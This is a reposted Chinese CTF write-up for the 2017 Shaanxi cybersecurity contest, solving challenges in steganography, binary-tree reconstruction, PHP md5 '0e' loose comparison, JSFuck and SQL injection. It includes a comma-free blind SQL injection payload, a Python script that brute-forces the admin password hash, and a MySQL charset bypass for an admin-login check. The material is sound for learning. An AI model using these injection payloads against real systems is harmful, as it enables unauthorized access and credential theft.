陕西省网络空间安全技术大赛部分题目writeup

2023-10-19 04:10

本文主要是介绍陕西省网络空间安全技术大赛部分题目writeup,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

签到-欢迎来到CSTC2017

10

 

欢迎来到CSTC2017

 

ZmxhZ3tXZWlTdW9GeXVfQmllTGFuZ30=

 

 

Base64解密:flag{WeiSuoFyu_BieLang}

 

 

 

种棵树吧

200

 

图片里有一棵树,树上结满胜利的果实!

 

下载后解压 有两张图

先看2222.jpg 右键属性详细信息

得到:Post-order{YR!eVa-gLAoxd_j{pw}8zkUnGuIHh:r65f2lFsEi*}

 

再看1111.jpg,Stegsolve查看

看到图片结束后有压缩包 ,改后缀解压

得到1.gif,但图片打不开,记事本打开,发现头文件缺少GIF8  加上去就可以打开了。

然后将GIF图的字母提权出来。

得到In-order{RY!heHVaL-goAI{dxj_GpnUw8}kzu*Er:s56fFl2i}

 

所以我们得到了

In-order{RY!heHVaL-goAI{dxj_GpnUw8}kzu*Er:s56fFl2i}

Post-order{YR!eVa-gLAoxd_j{pw}8zkUnGuIHh:r65f2lFsEi*}

百度得知是二叉树的中序遍历和后序遍历。

 

已知一棵二叉树的后序序列和中序序列,构造该二叉树的过程如下:
1.根据后序序列的最后一个元素建立根结点; 
2.在中序序列中找到该元素,确定根结点的左右子树的中序序列; 
3.在后序序列中确定左右子树的后序序列; 
4.由左子树的后序序列和中序序列建立左子树; 
5.由右子树的后序序列和中序序列建立右子树.

 

所以画出该二叉树

一行行读: *hI!HEReIsYourFLAG:flag{n52V-jpU6d_kx8zw}

 

签到题

50

 

比赛开始啦~一盘小菜送上~

注意flag格式是需要加上flag{}的。

http://117.34.111.15:84/

 

 

右键源代码:

Username 要字母 ,password要数字。但它们md5的值要一样。

所以想到了php md5 0e的缺陷:PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0

 

找到了md5('240610708') == md5('QNKCDZO')

所以 Username =QNKCDZO  password =240610708

右键源代码:

传入的messagejson格式的,出来的key==$key

但我们不知道$key的值。想到了php松散比较。

 

字符串 == TRUE  为TRUE 

抽抽奖
75

抽奖呗
http://117.34.111.15/

 

访问后抓包查看

把jsfuck代码复制出来,解密得到:

 

 

 

so easy!

125

 

http://117.34.111.15:89/

观察源代码:

<?php include("config.php");$conn ->query("set names utf8");function randStr($lenth=32){$strBase = "1234567890QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm";$str = "";while($lenth>0){$str.=substr($strBase,rand(0,strlen($strBase)-1),1);$lenth --;}return $str;
}if($install){$sql = "create table `user` (`id` int(10) unsigned NOT NULL PRIMARY KEY  AUTO_INCREMENT ,`username` varchar(30) NOT NULL,`passwd` varchar(32) NOT NULL,`role` varchar(30) NOT NULL)ENGINE=MyISAM AUTO_INCREMENT=1 DEFAULT CHARSET=latin1 COLLATE=latin1_general_ci ";if($conn->query($sql)){$sql  = "insert into `user`(`username`,`passwd`,`role`) values ('admin','".md5(randStr())."','admin')";$conn -> query($sql);}
}function filter($str){$filter = "/ |\*|#|;|,|is|union|like|regexp|for|and|or|file|--|\||`|&|".urldecode('%09')."|".urldecode("%0a")."|".urldecode("%0b")."|".urldecode('%0c')."|".urldecode('%0d')."|".urldecode('%a0')."/i"; if(preg_match($filter,$str)){die("you can't input this illegal char!");}return $str; }function show($username){global $conn;$sql = "select role from `user` where username ='".$username."'";$res = $conn ->query($sql);if($res->num_rows>0){echo "$username is ".$res->fetch_assoc()['role'];}else{die("Don't have this user!");}
}function login($username,$passwd){global $conn;global $flag;$username = trim(strtolower($username));$passwd = trim(strtolower($passwd));if($username == 'admin'){die("you can't login this as admin!");}$sql = "select * from `user` where username='".$conn->escape_string($username)."' and passwd='".$conn->escape_string($passwd)."'";$res = $conn ->query($sql);if($res->num_rows>0){if($res->fetch_assoc()['role'] === 'admin') exit($flag);}else{echo "sorry,username or passwd error!";  }}function source(){highlight_file(__FILE__);
}$username = isset($_POST['username'])?filter($_POST['username']):"";
$passwd = isset($_POST['passwd'])?filter($_POST['passwd']):"";$action = isset($_GET['action'])?filter($_GET['action']):"source";switch($action){case "source": source(); break ;case "login" : login($username,$passwd);break;case "show" : show($username);break;
}

  

可看到filter()函数

过滤了这么多...

‘  select  from  where ( ) = 都能使用。

所以想到使用盲注

访问 http://117.34.111.15:89/?action=show

Post 数据为 admin'=(TRUE)='1 返回正确

 

所以构造语句

因为过滤了逗号,所以语句为

username=admin'=(substring((select(passwd)from(user))from(-1))='8')='1

最后一位为8

后两位为88

写脚本跑

#!usr/bin/env python
#!coding=utf-8__author__ = 'zhengjim'import requestsurl="http://117.34.111.15:89/?action=show"
ans=""
dic="0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
for i in xrange(33):for j in dic:data={"username":"admin'=(substring((select(passwd)from(user))from(-{0}))='{1}{2}')='1".format(str(i),str(j),str(ans))}content=requests.post(url,data=data).contentif len(content)>30:ans =j+ansprint ansbreak

  

跑得密码

 

然后在login出登入。

 

但传入username如果为admin ,就要退出。

https://www.leavesongs.com/PENETRATION/mysql-charset-trick.html p牛这篇文章里。

我们可以看到:

就是admin%c2 php中就不为admin,但在mysql查询的就是为admin,所以可以绕过

原因就是Mysql字段的字符集和php mysqli客户端设置的字符集不相同。Mysql在转换字符集的时候,将不完整的字符给忽略了。

只写了这么多。

 

转载于:https://www.cnblogs.com/zhengjim/p/6720064.html

这篇关于陕西省网络空间安全技术大赛部分题目writeup的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/237205

相关文章

Java 线程安全与 volatile与单例模式问题及解决方案

《Java线程安全与volatile与单例模式问题及解决方案》文章主要讲解线程安全问题的五个成因(调度随机、变量修改、非原子操作、内存可见性、指令重排序)及解决方案,强调使用volatile关键字... 目录什么是线程安全线程安全问题的产生与解决方案线程的调度是随机的多个线程对同一个变量进行修改线程的修改操

Qt如何实现文本编辑器光标高亮技术

《Qt如何实现文本编辑器光标高亮技术》这篇文章主要为大家详细介绍了Qt如何实现文本编辑器光标高亮技术,文中的示例代码讲解详细,具有一定的借鉴价值,有需要的小伙伴可以了解下... 目录实现代码函数作用概述代码详解 + 注释使用 QTextEdit 的高亮技术(重点)总结用到的关键技术点应用场景举例示例优化建议

Java中常见队列举例详解(非线程安全)

《Java中常见队列举例详解(非线程安全)》队列用于模拟队列这种数据结构,队列通常是指先进先出的容器,:本文主要介绍Java中常见队列(非线程安全)的相关资料,文中通过代码介绍的非常详细,需要的朋... 目录一.队列定义 二.常见接口 三.常见实现类3.1 ArrayDeque3.1.1 实现原理3.1.2

Java中的登录技术保姆级详细教程

《Java中的登录技术保姆级详细教程》:本文主要介绍Java中登录技术保姆级详细教程的相关资料,在Java中我们可以使用各种技术和框架来实现这些功能,文中通过代码介绍的非常详细,需要的朋友可以参考... 目录1.登录思路2.登录标记1.会话技术2.会话跟踪1.Cookie技术2.Session技术3.令牌技

Web技术与Nginx网站环境部署教程

《Web技术与Nginx网站环境部署教程》:本文主要介绍Web技术与Nginx网站环境部署教程,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录一、Web基础1.域名系统DNS2.Hosts文件3.DNS4.域名注册二.网页与html1.网页概述2.HTML概述3.

Java使用WebView实现桌面程序的技术指南

《Java使用WebView实现桌面程序的技术指南》在现代软件开发中,许多应用需要在桌面程序中嵌入Web页面,例如,你可能需要在Java桌面应用中嵌入一部分Web前端,或者加载一个HTML5界面以增强... 目录1、简述2、WebView 特点3、搭建 WebView 示例3.1 添加 JavaFX 依赖3

JAVA保证HashMap线程安全的几种方式

《JAVA保证HashMap线程安全的几种方式》HashMap是线程不安全的,这意味着如果多个线程并发地访问和修改同一个HashMap实例,可能会导致数据不一致和其他线程安全问题,本文主要介绍了JAV... 目录1. 使用 Collections.synchronizedMap2. 使用 Concurren

一文详解如何在Python中从字符串中提取部分内容

《一文详解如何在Python中从字符串中提取部分内容》:本文主要介绍如何在Python中从字符串中提取部分内容的相关资料,包括使用正则表达式、Pyparsing库、AST(抽象语法树)、字符串操作... 目录前言解决方案方法一:使用正则表达式方法二:使用 Pyparsing方法三:使用 AST方法四:使用字

Python从零打造高安全密码管理器

《Python从零打造高安全密码管理器》在数字化时代,每人平均需要管理近百个账号密码,本文将带大家深入剖析一个基于Python的高安全性密码管理器实现方案,感兴趣的小伙伴可以参考一下... 目录一、前言:为什么我们需要专属密码管理器二、系统架构设计2.1 安全加密体系2.2 密码强度策略三、核心功能实现详解

SpringBoot3实现Gzip压缩优化的技术指南

《SpringBoot3实现Gzip压缩优化的技术指南》随着Web应用的用户量和数据量增加,网络带宽和页面加载速度逐渐成为瓶颈,为了减少数据传输量,提高用户体验,我们可以使用Gzip压缩HTTP响应,... 目录1、简述2、配置2.1 添加依赖2.2 配置 Gzip 压缩3、服务端应用4、前端应用4.1 N